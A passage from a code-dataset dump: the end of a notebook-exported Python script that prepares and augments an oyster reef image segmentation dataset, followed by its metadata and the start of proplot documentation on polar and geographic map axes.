skimage.draw.polygon(p['all_points_y'], p['all_points_x'])\n      mask[rr, cc, i] = 1\n\n  mask = mask.astype(np.int) #, np.ones([mask.shape[-1]], dtype=np.int)\n  mask = np.sum(mask, axis=2)\n\n  if np.sum(np.isnan(mask))==(sz[0]*sz[1]):\n      print(info)\n\n  image = np.array(image.resize(sz))/255.\n  mask = resize(mask, sz)\n\n  mask = (mask-mask.min())/(mask.max()-mask.min()) #*255.\n\n  return image, mask\n\n\n# Get the training set and write them to file\n\n# In[ ]:\n\n\nroot = './'\n\n\n# In[ ]:\n\n\n# train set\nfor t in train_annotations:\n   _, mask = get_image_mask_pair(t, ((1000,1000)))\n   imwrite(root+\"1kx1k_dataset\"+t['filename'].replace('.png', '.jpg').replace('../','/'), mask)\n\n\n# make a new directory called `train_labels` and move all the jpgs we just made there\n\n# In[ ]:\n\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/train_labels\")\nexcept:\n    pass\nos.system(\"mv \"+root+\"1kx1k_dataset/*.jpg \"+root+\"1kx1k_dataset/train_labels\")\n\n\n# Get a list of those files\n\n# In[ ]:\n\n\ntrain_label_names = sorted(glob(root+\"1kx1k_dataset/train_labels/*.jpg\"))\n\ntrain_image_names = [l.replace('.jpg','.png').replace('train_labels/', '') for l in train_label_names]\n\n\n# Do the same thing as the above but for the RGB imagery\n\n# In[ ]:\n\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/train_images\")\nexcept:\n    pass\nfor k in train_image_names:\n   os.system(\"cp \"+k+\" \"+root+\"1kx1k_dataset/train_images\")\n\n\n# Do the same for the validation subset\n\n# In[ ]:\n\n\n# validation\nfor t in val_annotations:\n   _, mask = get_image_mask_pair(t, ((1000,1000)))\n   imwrite(root+\"1kx1k_dataset\"+t['filename'].replace('.png', '.jpg').replace('../','/'), mask)\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/val_labels\")\nexcept:\n    pass\nos.system(\"mv \"+root+\"1kx1k_dataset/*.jpg \"+root+\"1kx1k_dataset/val_labels\")\n\nval_label_names = sorted(glob(root+\"1kx1k_dataset/val_labels/*.jpg\"))\n\nval_image_names = [l.replace('.jpg','.png').replace('val_labels/', '') for l in val_label_names]\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/val_images\")\nexcept:\n    pass\nfor k in val_image_names:\n   os.system(\"cp \"+k+\" \"+root+\"1kx1k_dataset/val_images\")\n\n\n# Finally, do the same for the test subset\n\n# In[ ]:\n\n\n# test\nfor t in test_annotations:\n   _, mask = get_image_mask_pair(t, ((1000,1000)))\n   imwrite(root+\"1kx1k_dataset\"+t['filename'].replace('.png', '.jpg').replace('../','/'), mask)\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/test_labels\")\nexcept:\n    pass\nos.system(\"mv \"+root+\"1kx1k_dataset/*.jpg \"+root+\"1kx1k_dataset/test_labels\")\n\nval_label_names = sorted(glob(root+\"1kx1k_dataset/test_labels/*.jpg\"))\n\nval_image_names = [l.replace('.jpg','.png').replace('test_labels/', '') for l in val_label_names]\n\ntry:\n    os.mkdir(root+\"1kx1k_dataset/test_images\")\nexcept:\n    pass\nfor k in val_image_names:\n   os.system(\"cp \"+k+\" \"+root+\"1kx1k_dataset/test_images\")\n\n\n# Next to augmentation. We'll be using the `flow_from_directory` option of the `tf.keras.preprocessing.image.ImageDataGenerator`\n# function, which will allow us to feed our existing training files into a generator to  augment each image using a random combination of transformations\n# \n# Now, a quirk of `flow_from_directory` is that it expects imagery from each class to be in its own subdirectory of the directory you point it to. So, we create one subdirectory in each of the 4 folders we created just now called 'data', and move the files into it\n\n# In[ ]:\n\n\nos.mkdir(root+\"1kx1k_dataset/val_images/data\")\nos.mkdir(root+\"1kx1k_dataset/train_images/data\")\nos.mkdir(root+\"1kx1k_dataset/val_labels/data\")\nos.mkdir(root+\"1kx1k_dataset/train_labels/data\")\n\nos.system(\"mv \"+root+\"1kx1k_dataset/val_images/*.png \"+root+\"1kx1k_dataset/val_images/data\")\nos.system(\"mv \"+root+\"1kx1k_dataset/train_images/*.png \"+root+\"1kx1k_dataset/train_images/data\")\nos.system(\"mv \"+root+\"1kx1k_dataset/val_labels/*.jpg \"+root+\"1kx1k_dataset/val_labels/data\")\nos.system(\"mv \"+root+\"1kx1k_dataset/train_labels/*.jpg \"+root+\"1kx1k_dataset/train_labels/data\")\n\n\n# We'll use random combinations of vertical and horizontal flips, zoom in/out up to 30% and up to +/- 10 deg. rotations. Boundaries are mirrored for a more natural look\n\n# In[ ]:\n\n\ndatagen = tf.keras.preprocessing.image.ImageDataGenerator(\n        featurewise_center=False,\n        featurewise_std_normalization=False,\n        zoom_range=0.3,\n        vertical_flip = True,\n        rotation_range=10,\n        horizontal_flip=True,\n        fill_mode='reflect')\n\nimg_generator = datagen.flow_from_directory(\n        root+\"1kx1k_dataset/train_images\",\n        target_size=(1000, 1000),\n        batch_size=1,\n        class_mode=None, seed=2020, shuffle=False)\n\nmask_generator = datagen.flow_from_directory(\n        root+\"1kx1k_dataset/train_labels\",\n        target_size=(1000, 1000),\n        batch_size=1,\n        class_mode=None, seed=2020, shuffle=False)\n\ntrain_generator = (pair for pair in zip(img_generator, mask_generator))\n\n\n# Write them to file\n\n# In[ ]:\n\n\nimport matplotlib\n\n\n# In[ ]:\n\n\nn_aug_files = len(train_annotations)\n\ntrain_generator2 = (tuple(np.array(pair, dtype='float64')/255) for pair in zip(img_generator, mask_generator))\n\ncounter = 0\nwhile counter<n_aug_files:\n    x, y = next(train_generator2)\n    matplotlib.image.imsave(root+\"1kx1k_dataset/train_labels/data/aug00\"+str(counter)+\".jpg\", np.squeeze(y[0]))\n    matplotlib.image.imsave(root+\"1kx1k_dataset/train_images/data/aug00\"+str(counter)+\".png\", np.squeeze(x[0]))\n    counter += 1\n\n\n# Check to see how many images we now have to work with\n\n# In[ ]:\n\n\ntrain_files = glob(root+\"1kx1k_dataset/train_images/data/*.png\")\nval_files = glob(root+\"1kx1k_dataset/val_images/data/*.png\")\n\nprint(\"# train files: %i\" % (len(train_files)))\nprint(\"# validation files: %i\" % (len(val_files)))\n\n\n# Previously we have 527 train files. Now we have 1054\n\n# ## Custom batch generator\n\n# In[ ]:\n\n\ndef image_batch_generator(files, sz, batch_size = 4):\n\n  while True: # this is here because it will be called repeatedly by the training function\n\n    #extract a random subset of files of length \"batch_size\"\n    batch = np.random.choice(files, size = batch_size)\n\n    #variables for collecting batches of inputs (x) and outputs (y)\n    batch_x = []\n    batch_y = []\n\n    #cycle through each image in the batch\n    for f in batch:\n\n        #preprocess the raw images\n        raw = Image.open(f)\n        raw = raw.resize(sz)\n        raw = raw.filter(ImageFilter.UnsharpMask(radius=20, percent=100)) #apply the unsharp filter\n        raw = np.array(raw)\n\n        #check the number of channels because some of the images are RGBA or GRAY\n        if len(raw.shape) == 2:\n            raw = np.stack((raw,)*3, axis=-1)\n\n        else:\n            raw = raw[:,:,0:3]\n\n        #get the image dimensions, find the min dimension, then square the image off\n        nx, ny, nz = np.shape(raw)\n        n = np.minimum(nx,ny)\n        raw = raw[:n,:n,:]\n\n        raw[np.isnan(raw)] = 1e-5 #turn bad values (nans and infs) into tiny numbers\n        raw[np.isinf(raw)] = 1e-5\n\n        batch_x.append(raw)\n\n        #get the masks.\n        maskfile = f.replace('_images','_labels').replace('.png','.jpg')\n        mask = Image.open(maskfile)\n        # the mask is 3-dimensional so get the max in each channel to flatten to 2D\n        try:\n           mask = np.max(np.array(mask.resize(sz)),axis=2)\n        except:\n           mask = np.array(mask.resize(sz))\n\n        # class pixels are greater than 170\n        mask = (mask>170).astype('int') ##170 = (2/3)*255\n\n        mask = mask[:n,:n]\n\n        mask[np.isnan(mask)] = 1e-5\n        mask[np.isinf(mask)] = 1e-5\n        batch_y.append(mask)\n\n    #preprocess a batch of images and masks\n    batch_x = np.array(batch_x) #/255. #divide image by 255 to normalize\n    batch_y = np.array(batch_y)\n    batch_y = np.expand_dims(batch_y,1) #add singleton dimension to batch_y\n\n    yield (batch_x, batch_y) #yield both the image and the label together\n\n\n# In[ ]:\n\n\nsz = (1024, 1024)\n\ngen = image_batch_generator(train_files, sz, batch_size = 4)\n\nimages, masks = next(gen)\n\nplt.figure(figsize=(10,10))\nplt.imshow(images[0])\nplt.imshow(masks[0].squeeze(), alpha=0.25, cmap=plt.cm.Reds)\n\n\n# \n\n# In[ ]:\n\n\nget_ipython().system('tar -czf train_images.tar.gz /content/1kx1k_dataset/train_images')\n\n\n# Do the same for the train labels, validation images and validation labels\n\n# In[ ]:\n\n\nget_ipython().system('tar -czf train_labels.tar.gz /content/1kx1k_dataset/train_labels')\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -czf val_images.tar.gz /content/1kx1k_dataset/val_images')\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -czf val_labels.tar.gz /content/1kx1k_dataset/val_labels')\n\n\n# finally the test set\n\n# In[ ]:\n\n\nget_ipython().system('tar -czf test_images.tar.gz /content/1kx1k_dataset/test_images')\nget_ipython().system('tar -czf test_labels.tar.gz /content/1kx1k_dataset/test_labels')\n\n\n# For the remainder of the tutorials, we'll be using this version of the data, consisting of imagery and image labels, with an augmented training set consisting of double the original number of imagery, half of which have been augmented with random flips, zoms and rotations\n\n# This jupyter notebook running on Google Colab is part of the \"Advanced Binary Image Segmentation for the Geo- and Eco-sciences, using Deep Learning\" course. The main course website can be accessed [here](https://mardascience.gitlab.io/binary_image_segmentation_for_geosciences/#/)\n# \n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "5947696517df955a7aa75cb06d1e0bbd22b77b42", "size": 17792, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/Oyster_reefs/Part2_Getting_Ready_for_Training.py", "max_stars_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_stars_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scripts/Oyster_reefs/Part2_Getting_Ready_for_Training.py", "max_issues_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_issues_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/Oyster_reefs/Part2_Getting_Ready_for_Training.py", "max_forks_repo_name": "MARDAScience/UNets4IntertidalReefs", "max_forks_repo_head_hexsha": "551c22e29bafe6b01686a833aa881be2b52b6a2a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.9425493716, "max_line_length": 702, "alphanum_fraction": 0.7127360612, "include": true, "reason": "import numpy", "num_tokens": 4600, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3380771241500058, "lm_q2_score": 0.1581743547325992, "lm_q1q2_score": 0.053475130962279994}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.11.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n#\n# .. _polar: https://matplotlib.org/3.1.0/gallery/pie_and_polar_charts/polar_demo.html\n#\n# .. _cartopy: https://scitools.org.uk/cartopy/docs/latest/\n#\n# .. _basemap: https://matplotlib.org/basemap/index.html\n#\n# .. _ug_proj:\n#\n# Geographic and polar axes\n# =========================\n#\n# This section documents several useful features for working with `polar`_ plots\n# and :ref:`geographic projections <ug_geo>`. The geographic features are powered by\n# `cartopy`_ (or, optionally, `basemap`_). Note that these features are *optional* --\n# installation of cartopy or basemap are not required to use proplot.\n#\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_polar:\n#\n# Polar axes\n# ----------\n#\n# To create `polar axes <polar_>`_, pass ``proj='polar'`` to an axes-creation\n# command like `proplot.figure.Figure.add_subplot`. Polar axes are represented with the\n# `~proplot.axes.PolarAxes` subclass, which has its own `~proplot.axes.PolarAxes.format`\n# command. `proplot.axes.PolarAxes.format` facilitates polar-specific modifications\n# like changing the central radius `r0`, the zero azimuth location `theta0`,\n# and the positive azimuthal direction `thetadir`. It also supports toggling and\n# configuring the \"major\" and \"minor\" gridline locations with `grid`, `rlocator`,\n# `thetalocator`, `gridminor`, `rminorlocator`, and `thetaminorlocator` and formatting\n# the gridline labels with `rformatter` and `thetaformatter` (analogous to `xlocator`,\n# `xformatter`, and `xminorlocator` used by `proplot.axes.CartesianAxes.format`),\n# and creating \"annular\" or \"sector\" plots by changing the radial or azimuthal\n# bounds `rlim` and `thetalim`. Finally, since `proplot.axes.PolarAxes.format`\n# calls `proplot.axes.Axes.format`, it can be used to add axes titles, a-b-c\n# labels, and figure titles.\n#\n# For details, see `proplot.axes.PolarAxes.format`.\n\n# %%\nimport proplot as pplt\nimport numpy as np\nN = 200\nstate = np.random.RandomState(51423)\nx = np.linspace(0, 2 * np.pi, N)[:, None] + np.arange(5) * 2 * np.pi / 5\ny = 100 * (state.rand(N, 5) - 0.3).cumsum(axis=0) / N\nfig, axs = pplt.subplots([[1, 1, 2, 2], [0, 3, 3, 0]], proj='polar')\naxs.format(\n    suptitle='Polar axes demo', linewidth=1, titlepad='1em',\n    ticklabelsize=9, rlines=0.5, rlim=(0, 19),\n)\nfor ax in axs:\n    ax.plot(x, y, cycle='default', zorder=0, lw=3)\n\n# Standard polar plot\naxs[0].format(\n    title='Normal plot', thetaformatter='tau',\n    rlabelpos=225, rlines=pplt.arange(5, 30, 5),\n    edgecolor='red8', tickpad='1em',\n)\n\n# Sector plot\naxs[1].format(\n    title='Sector plot', thetadir=-1, thetalines=90, thetalim=(0, 270), theta0='N',\n    rlim=(0, 22), rlines=pplt.arange(5, 30, 5),\n)\n\n# Annular plot\naxs[2].format(\n    title='Annular plot', thetadir=-1, thetalines=20, gridcolor='red',\n    r0=-20, rlim=(0, 22), rformatter='null', rlocator=2\n)\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geo:\n#\n# Geographic axes\n# ---------------\n#\n# To create geographic axes, pass ``proj='name'`` to an axes-creation command like\n# `proplot.figure.Figure.add_subplot`, where ``name`` is any valid :ref:`PROJ projection\n# name <proj_table>`. Alternatively, you can pass a `cartopy.crs.Projection` or\n# `~mpl_toolkits.basemap.Basemap` instance returned by the `~proplot.constructor.Proj`\n# :ref:`constructor function <why_constructor>` to `proj` (see below for details). If\n# you need different projections for different subplots, but you want to\n# create your subplots :ref:`all-at-once <ug_subplot>` using\n# `~proplot.figure.Figure.subplots`, you can pass a list or dictionary\n# to the `proj` keyword (e.g., ``proj=('cartesian', 'pcarree')`` or\n# ``proj={2: 'pcarree'}`` -- see `~proplot.figure.Figure.subplots` for details).\n# Geographic axes are represented with the `~proplot.axes.GeoAxes` subclass, which\n# has its own `~proplot.axes.GeoAxes.format` command. `proplot.axes.GeoAxes.format`\n# facilitates :ref:`geographic-specific modifications <ug_geoformat>` like meridional\n# and parallel gridlines and land mass outlines. The syntax is very similar to\n# `proplot.axes.CartesianAxes.format`. Note that the `proj` keyword and several of\n# the `~proplot.axes.GeoAxes.format` keywords are inspired by the basemap API.\n# In the below example, we create and format a very simple geographic plot.\n\n# %%\n# Use an on-the-fly projection\nimport proplot as pplt\nfig = pplt.figure(refwidth=3)\naxs = fig.subplots(nrows=2, proj='robin', proj_kw={'lon0': 150})\n# proj = pplt.Proj('robin', lon0=180)\n# axs = pplt.subplots(nrows=2, proj=proj)  # equivalent to above\naxs.format(\n    suptitle='Figure with single projection',\n    land=True, latlines=30, lonlines=60,\n)\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_backends:\n#\n# Geographic backends\n# -------------------\n#\n# The `proplot.axes.GeoAxes` class uses either `cartopy`_ or `basemap`_ as \"backends\"\n# to :ref:`format the axes <ug_geoformat>` and :ref:`plot stuff <ug_geoplot>` in\n# the axes. A few details:\n#\n# * Cartopy is the default backend. When you request projection names with cartopy\n#   as the backend (or pass a `cartopy.crs.Projection` to the `proj` keyword), the\n#   returned axes is a subclass of `cartopy.mpl.geoaxes.GeoAxes`. Under the hood,\n#   invoking `~proplot.axes.GeoAxes.format` with cartopy as the backend changes map\n#   bounds using `~cartopy.mpl.geoaxes.GeoAxes.set_extent`, adds major and minor\n#   gridlines using `~cartopy.mpl.geoaxes.GeoAxes.gridlines`, and adds geographic\n#   features using `~cartopy.mpl.geoaxes.GeoAxes.add_feature`. If you prefer, you can\n#   use the standard `cartopy.mpl.geoaxes.GeoAxes` methods just like you would in\n#   cartopy. If you need to use the underlying `~cartopy.crs.Projection` instance, it\n#   is available via the `~proplot.axes.GeoAxes.projection` attribute. If you want\n#   to work with the projection classes directly, they are available in the\n#   top-level namespace (e.g., ``proj=pplt.PlateCarre()`` is allowed).\n#\n# * Basemap is an alternative backend. To use basemap, set :rcraw:`geo.backend` to\n#   ``'basemap'`` or pass ``backend='basemap'`` to the axes-creation command. When\n#   you request a projection name with basemap as the backend (or pass a\n#   `~mpl_toolkits.basemap.Basemap` to the `proj` keyword), the returned axes\n#   redirects the plotting methods plot, scatter, contour, contourf, pcolor,\n#   pcolormesh, quiver, streamplot, and barb to the identically named methods on\n#   the `~mpl_toolkits.basemap.Basemap` instance. This means you can work\n#   with the standard axes plotting methods rather than the basemap methods --\n#   just like cartopy. Under the hood, invoking `~proplot.axes.GeoAxes.format`\n#   with basemap as the backend adds major and minor gridlines using\n#   `~mpl_toolkits.basemap.Basemap.drawmeridians` and\n#   `~mpl_toolkits.basemap.Basemap.drawparallels` and adds geographic features\n#   using methods like `~mpl_toolkits.basemap.Basemap.fillcontinents`\n#   and `~mpl_toolkits.basemap.Basemap.drawcoastlines`. If you need to\n#   use the underlying `~mpl_toolkits.basemap.Basemap` instance, it is\n#   available as the `~proplot.axes.GeoAxes.projection` attribute.\n#\n# Together, these features let you work with geophysical data without invoking\n# verbose cartopy classes like `~cartopy.crs.LambertAzimuthalEqualArea` or\n# keeping track of separate `~mpl_toolkits.basemap.Basemap` instances. This\n# considerably reduces the amount of code needed to make complex geographic\n# plots. In the below examples, we create a variety of plots using both\n# cartopy and basemap as backends.\n#\n# .. important::\n#\n#    * By default, proplot bounds polar cartopy projections like\n#      `~cartopy.crs.NorthPolarStereo` at the equator and gives non-polar cartopy\n#      projections global extent by calling `~cartopy.mpl.geoaxes.GeoAxes.set_global`.\n#      This is a deviation from cartopy, which determines map boundaries automatically\n#      based on the coordinates of the plotted content. To revert to cartopy's\n#      default behavior, set :rcraw:`geo.extent` to ``'auto`` or pass ``extent='auto'``\n#      to `~proplot.axes.GeoAxes.format`.\n#    * By default, proplot gives circular boundaries to polar cartopy and basemap\n#      projections like `~cartopy.crs.NorthPolarStereo` (see `this example\n#      <https://scitools.org.uk/cartopy/docs/latest/gallery/lines_and_polygons/always_circular_stereo.html>`__\n#      from the cartopy website). To disable this feature, set :rcraw:`geo.round` to\n#      ``False`` or pass ``round=False` to `~proplot.axes.GeoAxes.format`. Please note\n#      that older versions of cartopy cannot add gridlines to maps bounded by circles.\n#    * To make things more consistent, the `~proplot.constructor.Proj` constructor\n#      function lets you supply native `PROJ <https://proj.org>`__ keyword names\n#      for the cartopy `~cartopy.crs.Projection` classes (e.g., `lon0` instead\n#      of `central_longitude`) and instantiates `~mpl_toolkits.basemap.Basemap`\n#      projections with sensible default PROJ parameters rather than raising an error\n#      when they are omitted (e.g., ``lon0=0`` as the default for most projections).\n#\n# .. warning::\n#\n#    The `basemap`_ package is `no longer actively maintained \\\n#    <https://matplotlib.org/basemap/users/intro.html#cartopy-new-management-and-eol-announcement>`__\n#    and will not work with matplotlib versions more recent than 3.2.2. We originally\n#    included basemap support because its gridline labeling was more powerful\n#    than cartopy gridline labeling. However, as cartopy gridline labeling has\n#    significantly improved since version 0.18, proplot may deprecate basemap support\n#    in a future release and fully remove basemap support by version 1.0.0.\n\n# %%\nimport proplot as pplt\nfig = pplt.figure()\n\n# Add projections\ngs = pplt.GridSpec(ncols=2, nrows=3, hratios=(1, 1, 1.4))\nfor i, proj in enumerate(('cyl', 'hammer', 'npstere')):\n    ax1 = fig.subplot(gs[i, 0], proj=proj)  # default cartopy backend\n    ax2 = fig.subplot(gs[i, 1], proj=proj, backend='basemap')  # basemap backend\n\n# Format projections\naxs = fig.subplotgrid\naxs.format(\n    land=True,\n    suptitle='Figure with several projections',\n    toplabels=('Cartopy examples', 'Basemap examples'),\n    toplabelweight='normal',\n    latlines=30, lonlines=60,\n)\naxs[:2].format(lonlabels='b', latlabels='r')  # or lonlabels=True, lonlabels='bottom',\naxs[2:4].format(lonlabels=False, latlabels='both')\naxs[4:].format(lonlabels='all', lonlines=30)\npplt.rc.reset()\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geoplot:\n#\n# Plotting in projections\n# -----------------------\n#\n# In proplot, plotting with `~proplot.axes.GeoAxes` is just like plotting\n# with `~proplot.axes.CartesianAxes`. Proplot makes longitude-latitude\n# (i.e., Plate Carr\u00e9e) coordinates the *default* coordinate system for all plotting\n# commands by internally passing ``transform=ccrs.PlateCarree()`` to cartopy commands\n# and ``latlon=True`` to basemap commands. And again, when `basemap`_ is the backend,\n# plotting is done \"cartopy-style\" by calling methods from the `proplot.axes.GeoAxes`\n# instance rather than the `~mpl_toolkits.basemap.Basemap` instance.\n#\n# To ensure that a 2D `~proplot.axes.PlotAxes` command like\n# `~proplot.axes.PlotAxes.contour` or `~proplot.axes.PlotAxes.pcolor`\n# fills the entire globe, simply pass ``globe=True`` to the command.\n# This interpolates the data to the North and South poles and across the longitude\n# seam before plotting. This is a convenient and succinct alternative to cartopy's\n# `~cartopy.util.add_cyclic_point` and basemap's `~mpl_toolkits.basemap.addcyclic`.\n#\n# To draw content above or underneath a given geographic feature, simply change\n# the `zorder <https://matplotlib.org/3.1.1/gallery/misc/zorder_demo.html>`__\n# property for that feature. For example, to draw land patches on top of all plotted\n# content as a \"land mask\" you can use ``ax.format(land=True, landzorder=4)`` or set\n# ``pplt.rc['land.zorder'] = 4`` (see the :ref:`next section <ug_geoformat>`\n# for details).\n\n# %%\nimport proplot as pplt\nimport numpy as np\n\n# Fake data with unusual longitude seam location and without coverage over poles\noffset = -40\nlon = pplt.arange(offset, 360 + offset - 1, 60)\nlat = pplt.arange(-60, 60 + 1, 30)\nstate = np.random.RandomState(51423)\ndata = state.rand(len(lat), len(lon))\n\n# Plot data both without and with globe=True\nfor globe in (False, True):\n    string = 'with' if globe else 'without'\n    gs = pplt.GridSpec(nrows=2, ncols=2)\n    fig = pplt.figure(refwidth=2.5)\n    for i, ss in enumerate(gs):\n        cmap = ('sunset', 'sunrise')[i % 2]\n        backend = ('cartopy', 'basemap')[i % 2]\n        ax = fig.subplot(ss, proj='kav7', backend=backend)\n        if i > 1:\n            ax.pcolor(lon, lat, data, cmap=cmap, globe=globe, extend='both')\n        else:\n            m = ax.contourf(lon, lat, data, cmap=cmap, globe=globe, extend='both')\n            fig.colorbar(m, loc='b', span=i + 1, label='values', extendsize='1.7em')\n    fig.format(\n        suptitle=f'Geophysical data {string} global coverage',\n        toplabels=('Cartopy example', 'Basemap example'),\n        leftlabels=('Filled contours', 'Grid boxes'),\n        toplabelweight='normal', leftlabelweight='normal',\n        coast=True, lonlines=90,\n        abc='A.', abcloc='ul', abcborder=False,\n    )\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_geoformat:\n#\n# Formatting projections\n# ----------------------\n#\n# The `proplot.axes.GeoAxes.format` command facilitates geographic-specific axes\n# modifications. It can toggle and configure the \"major\" and \"minor\" longitude and\n# latitude gridline locations using the `grid`, `lonlocator`, `latlocator`, `gridminor`,\n# `lonminorlocator`, and `latminorlocator` keys, and configure gridline label formatting\n# with `lonformatter` and `latformatter` (analogous to `xlocator`, `xminorlocator`,\n# and `xformatter` used by `proplot.axes.CartesianAxes.format`). By default, inline\n# cartopy labels and cartopy label rotation are turned off, but inline labels can\n# be turned on using ``loninline=True``, ``latinline=True``, or ``inlinelabels=True``\n# or by setting :rcraw:`grid.inlinelabels` to ``True``, and label rotation can be\n# turned on using ``rotatelabels=True`` or by setting :rcraw:`grid.rotatelabels`\n# to ``True``. The padding between the map edge and the labels can be changed\n# using `labelpad` or by changing :rcraw:`grid.labelpad`.\n#\n# `proplot.axes.GeoAxes.format` can also set the cartopy projection bounding longitudes\n# and latitudes with `lonlim` and `latlim` (analogous to `xlim` and `ylim`), set the\n# latitude bound for circular polar projections using `boundinglat`, and toggle and\n# configure geographic features like land masses, coastlines, and administrative\n# borders using :ref:`settings <rc_proplot>` like `land`, `landcolor`, `coast`,\n# `coastcolor`, and `coastlinewidth`. Finally, since `proplot.axes.GeoAxes.format`\n# calls `proplot.axes.Axes.format`, it can be used to add axes titles, a-b-c labels,\n# and figure titles, just like `proplot.axes.CartesianAxes.format`.\n#\n# For details, see the `proplot.axes.GeoAxes.format` documentation.\n\n# %%\nimport proplot as pplt\ngs = pplt.GridSpec(ncols=3, nrows=2, wratios=(1, 1, 1.2), hratios=(1, 1.2))\nfig = pplt.figure(refwidth=4)\n\n# Styling projections in different ways\nax = fig.subplot(gs[0, :2], proj='eqearth')\nax.format(\n    title='Equal earth', land=True, landcolor='navy', facecolor='pale blue',\n    coastcolor='gray5', borderscolor='gray5', innerborderscolor='gray5',\n    gridlinewidth=1.5, gridcolor='gray5', gridalpha=0.5,\n    gridminor=True, gridminorlinewidth=0.5,\n    coast=True, borders=True, borderslinewidth=0.8,\n)\nax = fig.subplot(gs[0, 2], proj='ortho')\nax.format(\n    title='Orthographic', reso='med', land=True, coast=True, latlines=10, lonlines=15,\n    landcolor='mushroom', suptitle='Projection axes formatting demo',\n    facecolor='petrol', coastcolor='charcoal', coastlinewidth=0.8, gridlinewidth=1\n)\nax = fig.subplot(gs[1, :], proj='wintri')\nax.format(\n    land=True, facecolor='ocean blue', landcolor='bisque', title='Winkel tripel',\n    lonlines=60, latlines=15,\n    gridlinewidth=0.8, gridminor=True, gridminorlinestyle=':',\n    lonlabels=True, latlabels='r', loninline=True,\n    gridlabelcolor='gray8', gridlabelsize='med-large',\n)\nfig.format(\n    suptitle='Projection axes formatting demo',\n    toplabels=('Column 1', 'Column 2'),\n    abc='A.', abcloc='ul', abcborder=False, linewidth=1.5\n)\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_zoom:\n#\n# Zooming into projections\n# ------------------------\n#\n# To zoom into cartopy projections, use\n# `~cartopy.mpl.geoaxes.GeoAxes.set_extent` or pass `lonlim`,\n# `latlim`, or `boundinglat` to `~proplot.axes.GeoAxes.format`. The `boundinglat`\n# keyword controls the circular latitude boundary for North Polar and\n# South Polar Stereographic, Azimuthal Equidistant, Lambert Azimuthal\n# Equal-Area, and Gnomonic projections. By default, proplot tries to use the\n# degree-minute-second cartopy locators and formatters made available in cartopy\n# 0.18. You can switch from minute-second subintervals to traditional decimal\n# subintervals by passing ``dms=False`` to `~proplot.axes.GeoAxes.format`\n# or by setting :rcraw:`grid.dmslabels` to ``False``.\n#\n# To zoom into basemap projections, pass any of the `boundinglat`,\n# `llcrnrlon`, `llcrnrlat`, `urcrnrlon`, `urcrnrlat`, `llcrnrx`, `llcrnry`,\n# `urcrnrx`, `urcrnry`, `width`, or `height` keyword arguments to\n# the `~proplot.constructor.Proj` constructor function either directly or via\n# the `proj_kw` `~proplot.ui.subplots` keyword argument. You can also pass\n# `lonlim` and `latlim` to `~proplot.constructor.Proj` and these arguments\n# will be used for `llcrnrlon`, `llcrnrlat`, etc. You cannot zoom into basemap\n# projections with `format` after they have already been created.\n\n# %%\nimport proplot as pplt\n\n# Plate Carr\u00e9e map projection\npplt.rc.reso = 'med'  # use higher res for zoomed in geographic features\nbasemap = pplt.Proj('cyl', lonlim=(-20, 180), latlim=(-10, 50), backend='basemap')\nfig, axs = pplt.subplots(nrows=2, refwidth=5, proj=('cyl', basemap))\naxs.format(\n    land=True, labels=True, lonlines=20, latlines=20,\n    gridminor=True, suptitle='Zooming into projections'\n)\naxs[0].format(lonlim=(-140, 60), latlim=(-10, 50), labels=True)\naxs[0].format(title='Cartopy example')\naxs[1].format(title='Basemap example')\n\n# %%\nimport proplot as pplt\n\n# Pole-centered map projections\nbasemap = pplt.Proj('npaeqd', boundinglat=60, backend='basemap')\nfig, axs = pplt.subplots(ncols=2, refwidth=2.7, proj=('splaea', basemap))\nfig.format(suptitle='Zooming into polar projections')\naxs.format(land=True, latmax=80)  # no gridlines poleward of 80 degrees\naxs[0].format(boundinglat=-60, title='Cartopy example')\naxs[1].format(title='Basemap example')\n\n# %%\nimport proplot as pplt\n\n# Zooming in on continents\nfig = pplt.figure(refwidth=3)\nax = fig.subplot(121, proj='lcc', proj_kw={'lon0': 0})\nax.format(lonlim=(-20, 50), latlim=(30, 70), title='Cartopy example')\nproj = pplt.Proj('lcc', lon0=-100, lat0=45, width=8e6, height=8e6, backend='basemap')\nax = fig.subplot(122, proj=proj)\nax.format(lonlines=20, title='Basemap example')\nfig.format(suptitle='Zooming into specific regions', land=True)\n\n\n# %%\nimport proplot as pplt\n\n# Zooming in with cartopy degree-minute-second labels\npplt.rc.reso = 'hi'\nfig = pplt.figure(refwidth=2.5)\nax = fig.subplot(121, proj='cyl')\nax.format(lonlim=(-7.5, 2), latlim=(49.5, 59))\nax = fig.subplot(122, 